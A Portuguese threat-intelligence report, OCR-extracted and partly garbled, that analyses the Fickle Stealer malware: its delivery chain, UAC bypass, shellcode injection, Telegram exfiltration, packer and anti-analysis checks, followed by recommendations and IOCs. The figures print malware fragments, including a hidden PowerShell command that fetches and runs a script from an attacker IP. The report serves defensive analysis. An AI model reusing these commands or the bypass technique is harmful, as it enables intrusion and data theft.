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A conta oficial do grupo de Threat Intelligence da ISH.
Conheg¢a mais do que fazemos aqui:

Acesse boletins diarios sobre agentes de ameacas,
malwares, indicadores de comprometimentos, TIPs e
outras informacgoes no site da ISH.

Boletins de Seguranca - Heimdall

Malware Ransomware

CONTAS DO FACEBOOK SAD INVADIDAS ALERTA PARA RETORNO DO MALWARE GRUPO DE RANSOMWARE CLOP
POR EXTENSOES MALICIOSAS DE EMOTET! EXPLORANDO VULNERABILIDADE PARA
NAVEGADORES NOVAS VITIMAS

0 malware Emotet apés permanecer alguns
Descoberto recentemente que atores meses sem operagdes retornou cou outro 0 grupo de Ransomware conhecido como
maliciosos utilizam extensdes de meio de propagagao, via OneNote e também ClOp esta explorando ativamente a
navegadores para realizar o roubo de cookies dos métodos ja conhecidos via Planilhas e vulnerabilidade conhecida como
de sessoes de sites como o Facebook. A Documentos do Microsoft Office CVE-2023-0669, na qual realizou o ataque a
extensdo maliciosa é oferecida como um diversas organizagdes e expds os dados no
anexo do ChatGPT. site de data leaks
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1 SUMARIO EXECUTIVO

Em maio de 2024, pesquisadores do FortiGuard Labs identificaram um novo
stealer de dados, denominado Fickle Stealer. Este stealer, programado na
linguagem de programacao Rust, se destaca por seu codigo complexo e pela
maneira como é distribuido, a qual é descrita neste relatdrio de seguranca.
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2 INFORMAGCOES SOBRE A AMEAGA

Utilizando uma variedade de estratégias, o Fickle Stealer demonstra uma
capacidade notavel de adaptabilidade na escolha de seus alvos. A natureza
ambigua e flexivel deste stealer de dados reforca a necessidade de vigilancia
constante e medidas de seguranca robustas.

A campanha em questao foi estruturada em torno de uma sequéncia de trés
fases distintas: a fase de Entrega, a fase de Trabalho Preparatério e, finalmente, a
fase que envolve a Carga Util do Empacotador e do stealer. Cada estagio
desempenha um papel crucial na execucdo bem-sucedida da campanha,
demonstrando a complexidade e o planejamento envolvidos neste processo. A
analise detalhada dessas etapas fornece uma visao valiosa sobre a operacao da
campanha e as estratégias empregadas pelos atacantes.

Executable filesin

N BAT C\Usersh, DA EN A

| |
il

engine.psl inject.psl Telegram bot

a4

o

144.208,127.230

—
runOnce.bat

Index.mshtml Bypass.psl
u.psl

4

tgmes.psl

Stealer

Figura 1 - Cadeia de ataque.

(BDCE L LE

O Fickle Stealer é entregue por meio de quatro métodos distintos: VBA
dropper, VBA downloader, link downloader e executavel downloader. Em geral,
esses métodos baixam um script do PowerShell para realizar tarefas preparatorias.
O arquivo baixado é geralmente chamado de u.ps1 ou bypass.ps1, ambos se
referem ao mesmo arquivo. Em certas cadeias de ataque, um arquivo adicional é
inserido entre o downloader e o u.ps1.

A cadeia de ataque se inicia com um documento do Word. A macro VBA do
documento carrega um arquivo XML que estd armazenado na legenda de um objeto
UserForm. Em seguida, um script codificado com o Windows Script Encoder é
executado a partir deste arquivo XML.
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Sub AUtOclose()
Set Document = G

£ Sample - Userform1 (Userform)

Document .LoadXML |UsesForml. labell Caption s g 2"
Document . t rans fo UserForm1 G
End Sub § < xml version="1.07>

s <stylesheet

Deming = "Wtp:/ www w3 org/ 199951/ Transform™
Jxemins: ms="um:schemas microsoft com xsit™
2xmins:user ~ "placeholder” version~"1.0">

= Mp s~ nh,bwkE2N PEZ{cH)
320 1\'EZ9 *pbET!+ + HT1 m + mOcEHwFyfo g8*d
TR'GW* WslGmi:nUDB# cwEZIV2w; 1ZGy- 11T |- 121 FD 4 Jwin
WA 18- 0412 D' vY swbp+ VoaEZWWCOE: -0
TTGI2'ETH XEArWS *vavay + 8lin + ovp + 'ER2v]
YU 6O'EX 8 WXGH 2" 8-6WanF ZPRbwFT b -8TF 20" BbufO
. T &

Figura 2 — Cddigo VBA que executa o script codificado.

O script contido no arquivo XML tem a func¢éo de posicionar o Fickle Stealer
na pasta Temp e, em seguida, iniciar sua execucéo.

try
var 1 = new ActiveXObiect( ) .createElianent ( ):
tata =
i.text =
var [ = new AcCtiveX ect ( ) .ExXpandEy entsStrings( )
f = f replace(/\/g.*/"):
VaAr SUIm = new Active ect( )
. ype -
0:
W e(el.nod )
roFile(t, °)
z e()
new ActiveXobject( ). ()
]
catch (o) ()

Figura 3 - Script decodificado.

Existem trés variantes de downloaders VBA, todos sendo documentos do
Word. O primeiro deles realiza o download direto do arquivo u.ps1. O terceiro
downloader, por outro lado, emprega um método indireto para entregar o
downloader VBA. Ele incorpora um controle de navegador da web em um quadro
no documento, que acessa um arquivo MSHTML no servidor. Quando o conteudo
ativo e a macro sao habilitados pela vitima, o arquivo MSHTML é lido e o comando
€ extraido. Geralmente, o método WebBrowser.Navigate é usado para carregar um
URL especificado. No entanto, o Word armazena o ultimo URL carregado no arquivo
do documento e esse URL sera usado se um novo nao for fornecido. Isso significa
que, umavez que a URL é carregada, ela pode ser carregada novamente na préoxima
execugao, mesmo na auséncia de qualquer macro relacionada. Uma variante
adicional utiliza essa técnica para esconder o] URL
(8d3ccfafc39830ee2325170e60ad44ecada24c9c4dd682a84fa60c961a0712316).

1) Secrity Wi Soms aciw sastnt s been dhaves Okt ooy s, | fnsoConiewt | |Private Sub Docusent Open( )
Dim Browser As Objece '1E 11
TRl = *Wh1B5, 213 208 145\ bypass ) tid i indéx . mikim] =
Start mavigatling
Set Beowsws = Framel .Controls( “VebBoowsasl ™) Object
Browier, Bavigate URI
Delay ()

End Sab

Microsodt Yword

- T Dociowrnd v PROTECTED)
Flese Raadbie JorveX conme

i P L Fn 23 A {

Figura 4 — Cédigo sublinhado pode ser removido apds o carregamento do URL.
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Este script tem como principal objetivo contornar o Controle de Conta de
Usuario (UAC) para executar o Fickle Stealer. Ele também configura uma nova
tarefa para executar engine.ps1 apds um intervalo de 15 minutos. Para burlar o
UAC, o u.ps1 descarta uma cépia do WmiMgmt.msc e um WmiMgmt.msc falso nos
caminhos especificados.

e Normal: C:\Windows \System32
e Fake: C:\Windows \System32\en-US

O arquivo MSC, que é hospedado no Microsoft Management Console
(MMC), é responsavel pelo gerenciamento de hardware, software e componentes
de rede e necessita de direitos de administrador. Os snap-ins fornecem a interface
para a tarefa de gerenciamento e acesso aos programas e dados necessarios. O
WmiMgmt.msc falso explora um objeto Shockwave Flash do controle ActiveX, que
por padrao abre um navegador daweb. AURL do navegador daweb é definida como
localhost e 0 u.ps1 cria um HttpListener, que exibe uma péagina da web quando o
WmiMgmt.msc é executado. Esta pagina da web contém um script que configura
exclusodes para o Fickle Stealer e, em seguida, faz o download para execucgao.

O caminho do arquivo emprega uma técnica conhecida como Método de
diretdrios confiaveis simulados. Durante um processo de solicitagcao de avaliacao,
um espaco a direita apds “Windows” é removido ao converter uma string. Como
resultado, o WmiMgmt.msc serd tratado como se estivesse sendo executado a
partir de um caminho confidvel. Além disso, o MMC procura os idiomas locais no
arquivo MSC. Se nao for encontrado, ele tenta encontrar um para en-US. Assim,
quando o Fickle Stealer executa a copia do WmiMgmt.msc, o WmiMgmt.msc falso
€ executado, com autenticacao elevada e sem nenhum prompt do UAC.

O engine.ps1 lista arquivos exe em C:\Users, D:, E:, F:. Quando um arquivo
€ encontrado, ele executa o inject.ps1 para injetar codigo shell, que simplesmente
executa o u.ps1 da Internet. Os caminhos dos arquivos injetados sdo codificados
em base64 e gravados em C:\Users\Public\prepares.dat. Antes da injecao, o
engine.ps1 verifica a lista para evitar injecdo dupla.

ush ‘lehs” - -
=usn " ewo " cmd /o powershell.exe -nop -win hidden
push ‘poosr —— ExecutionPolicy Bypass -File
push © dmc” "W185.213.208.245\bypass\w.ps
pusn esp

Pop ecx

push e

push ecx

mou esi, Fs:[edxs 1

o esi, [esi+BCh]

o esi, [esi+BCh]

lodsd

o esi, [eax]

mow edi, [esi*18h]

mow ebx. [edi+3Ch]

o enx, [edi+ebxs sn]

mow esi, [edivebxs 1

add esi, edi

o edx, [Bdivebxs 1

uuuuu ebp, word ptr [edivedx]
ine edx
ine edx

cmp duword ptr [ediseax]. "Eniw”
jnz short loc_A6

-

mou esi, [edisebxediCh]
add esi, edi

ada edi, [esisenp=u]

call edi : WinExec

Figura 5 — Cédigo shell injetado.
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Os scripts u.ps1, engine.ps1 e inject.ps1 comunicam-se regularmente com
0 bot do invasor no Telegram para atualizar seu status. Para transmitir uma
mensagem, eles baixam o tgmes.ps1 na pasta Temp com um nome de arquivo
gerado aleatoriamente e o executam com a mensagem como argumento. O
tgmes.ps1 é imediatamente excluido apds cada envio de mensagem. Além da
mensagem, o tgmes.ps1 também envia informagdes detalhadas da vitima,
incluindo pais, cidade, endereco IP, versdo do sistema operacional, nome do
computador e nome de usuario para o bot do Telegram.

O Fickle Stealer é protegido por um empacotador que se disfargca de um
executavel legitimo. O invasor parece ter criado o empacotador substituindo parte
do cddigo de um executavel legitimo pelo cédigo do empacotador e modificando
uma fungédo chamada na rotina de inicializagdo para a fungcdo do empacotador.
Isso pode dificultar a andlise estatica. A imitagao de varios aplicativos torna mais
dificil a detecgao do malware usando regras de detecgao especificas.

Por exemplo, existe uma variante
(a641d10798beb5224c8c32dfaab0dd353cd7bb06a2d57d9630e13fb1975d03a53)
onde a funcao __cinit na rotina de inicializacado é alterada para a funcao do
empacotador.

Clean

pop ecx

cmp eax, esi
iz short loc_48EAC3

[push €bp
jmov ebp, esp
sub_401000 proc near | .
- sub esp, Boal
— - — {xor eax, eax
Malicious prg_8e dword ptr imov [ebp+var_3C], ecx
jmov [ebpsvar_38], 2478S5£21
loc_48EAB1 ush ebp Imov ;k.\: h
push ebx - OV ebp, esp - |
call sub_ 481000 OV ecx, [ebprarg 0] h e
- - s da |{loc_4@1e3A:
pop ecx call  sub_401020 s T
v . - OV [ebp+var_2C],
cep eax, esi oV e:h, : jmov [ebpvar_28)]
jz short loc_48EAC3 , C:: eOp jmov [ebp+va 1
retn ( | : S
jmov ebp+ 20)], SF4&l
sub_401000 endp Lo par
= jmov [ebpevar_64], 6500 ; ke
[Loc_se1050:
mov [ebp+var_s0], 0072h ; rn
Imov [ebp+va 15 el
jmov [ebp+va ) 32
jmov [ebp+va ], .d
;1-@, [ebpeva )], 11

Figura 6 — Comparagéo entre o programa e o empacotador do Fickle Stealer.

Neste cenario, o cddigo mal-intencionado é ativado antes da funcgao
WinMain, que é comumente o ponto de entrada definido pelo usuario para um
aplicativo GUI C/C++. Isso pode levar a omissao do cédigo malicioso por aqueles
que seguem as regras padrdo de analise. O empacotador simplesmente aloca
memoria para registrar os dados de carga util decifrados e, em seguida, executa-os
na memoboria.
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As técnicas de anti-andlise utilizadas sao as seguintes:
e Sinalizador BeingDebugged

O Fickle Stealer analisa a estrutura PEB (Process Environment Block) para
verificar o sinalizador BeingDebugged no deslocamento 0x2. Se o sinalizador
estiver definido, indicando que esta sendo depurado, o Fickle Stealer encerra o
processo sem exibir uma mensagem falsa.

e Processos em execucao no momento

O Fickle Stealer compara os nomes dos processos com 0s nomes das
ferramentas de analise e algumas palavras-chave que podem ser usadas em um
ambiente de analise.

e Modulo carregado

Quando um arquivo é executado em uma sandbox, os arquivos DLL
correspondentes sdo carregados para auxiliar na analise. O Fickle Stealer chama a
funcdo GetModuleHandleW para verificar se algum deles estd carregado na
memoaria.

e Maquinavirtual

Osresultados da consulta dos seguintes objetos WMI sdo nulos em algumas
maquinas virtuais.

e |ID de hardware

O Fickle Stealer compara o ID de hardware com IDs que podem ter sido
usados em ambientes de analise.

¢ Nome de usuario

O Fickle Stealer chama a funcdo GetEnvironmentVariableW e compara o
resultado com nomes que podem ter sido usados em ambientes de analise.

Finalmente, o Fickle Stealer cria uma nova pasta na pasta Temp com um
nome aleatério, coloca sua coOpia na nova pasta e executa a copia. O stealer em
execucgao sera encerrado e a copia concluira o trabalho restante para se comunicar
com o servidor e enviar os dados roubados ao servidor.

2. Target list
Stealer « ' Server

Figura 7—- Comunicagéo entre o servidor e o Fickle Stealer.
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3 CONCLUSAO

O Fickle Stealer, além de visar aplicativos comuns, busca por arquivos
sensiveis nos diretdrios raiz dos locais de instalacao padrao, garantindo assim uma
coleta de dados extensa. Sua flexibilidade é evidenciada pela capacidade de
receber uma lista de alvos do servidor. Ha variantes que séo atualizadas com novas
listas de alvos. Afrequente atualizacao da sequéncia de ataques indica que o Fickle
Stealer ainda esta em fase de desenvolvimento.
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4 RECOMENDAGOES

Além dos indicadores de comprometimento elencados abaixo pela ISH,
poderdo ser adotadas medidas visando a mitigacdo da infeccdo do referido
malware, como por exemplo:

Atualizacoes de software

e Mantenha todos os seus softwares, incluindo o sistema operacional,
atualizados. Muitas vezes, os malwares exploram vulnerabilidades em
softwares desatualizados.

Antivirus

e Use um software antivirus confidvel e mantenha-o atualizado. Além disso,
realize varreduras regulares em seu sistema.

Downloads seguros

e Evite baixar arquivos ou clicar em links de fontes desconhecidas ou néao
confidveis.

Anexos de e-mail

e Tenhacuidadocom anexos de e-mail desconhecidos ou suspeitos. Eles sdo
uma maneira comum de distribuir malwares.

Senhas fortes

e Use senhas fortes e Unicas para todas as suas contas. Considere o uso de
um gerenciador de senhas.

Autenticacao de dois fatores

e Sempre que possivel, ative a autenticagio de dois fatores em suas contas
online.

Backup de dados

e Faca backup regular de seus dados importantes. Em caso de infecgéo por
malware, isso pode ajudar a minimizar a perda de dados.
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5 INDICADORES DE COMPROMISSOS

A ISH Tecnologia realiza o tratamento de diversos indicadores de
compromissos coletados por meio de fontes abertas, fechadas e também de
analises realizadas pela equipe de seguranga Heimdall. Diante disto, abaixo
listamos todos os Indicadores de Compromissos (IOCs) relacionadas a anélise
do(s) artefato(s) deste relatoério.

Indicadores de compromisso do artefato
md5: d77bea7c331aae0ldebc4b29a3f2d535

sha1: d30d428d31a85aclc70f42eb42cab9ala3fc022d
sha256: 1b48ee91e58f319a27f29d4f3bb62e62cac34779ddc3b95a0127e67f2e141e59
File name: RB.doc

Indicadores de compromisso do artefato
md5: 390838a85591302af29356b7307d39f9
sha1: bbb25d2dadcbe9747c0d751bf8646764caa56553
sha256: ad57cc0508d3550caab5fch9ee349c4578610970c57a26b7a07a8bedc8b9bed9
File name: Document_signed_test.doc

Indicadores de compromisso do artefato
md5: 67a83a0cc016579f1a11f177e888729d
sha1: 8a2350510a6c16458639c8e210834d3e6c84fb15
sha256: c6c6304fea3fd6f906e45544b2e5119c24cda295142ed9fafd2ec320f5ff41cc
File name: Glue.Ink

Indicadores de compromisso do artefato
md5: 8e7d32179baafab3e24465a0640c1cfb

sha1: a1366e748719291a2dd7c8631d00ae62fcfabd03
sha256: f878a88b7ddal155fe939abe0500e32d5fba34569ca933bcch5603d9e0e96ccO
File name: app.pln

Indicadores de compromisso do artefato
md5: 019f3bdbec3910e02de1888a4aff8409

sha1: b37d1d3a2d5211d61f244f94d60d209707ab10bb
sha256: 2641d10798be5224c8c32dfaab0dd353cd7bb06a2d57d9630e13fb1975d03a53
File name: QHFileSmasher.exe

Indicadores de compromisso do artefato
md5: b563008bdef8ce3d8598e97b2669170c

CHEYE 97699577bdb2c980b39f42abd2aa3791bb35f760
sha256: 48e2b9a7b8027bd03ceb611bbfe48a8a09ec6657dd5f2385fc7a75849bb14db1

File name: BLAST.doc
Tabela 1 -Indicadores de Compromissos de artefatos
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Indicadores de URL, IPs e Dominios

Indicadores de URL, IPs e Dominios
hxxps: // github[.Jcom/SkorikJR
144[.]208[.]127[.1230
185[.]213[.]208[.]245
138[.]124[.]184[.]210

Tabela 2 - Indicadores de Compromissos de Rede.

Obs: Os links e enderecos IP elencados acima podem estar ativos; cuidado ao realizar a

manipulacao dos referidos 10Cs, evite realizar o clique e se tornar vitima do conteudo
malicioso hospedado no loC.
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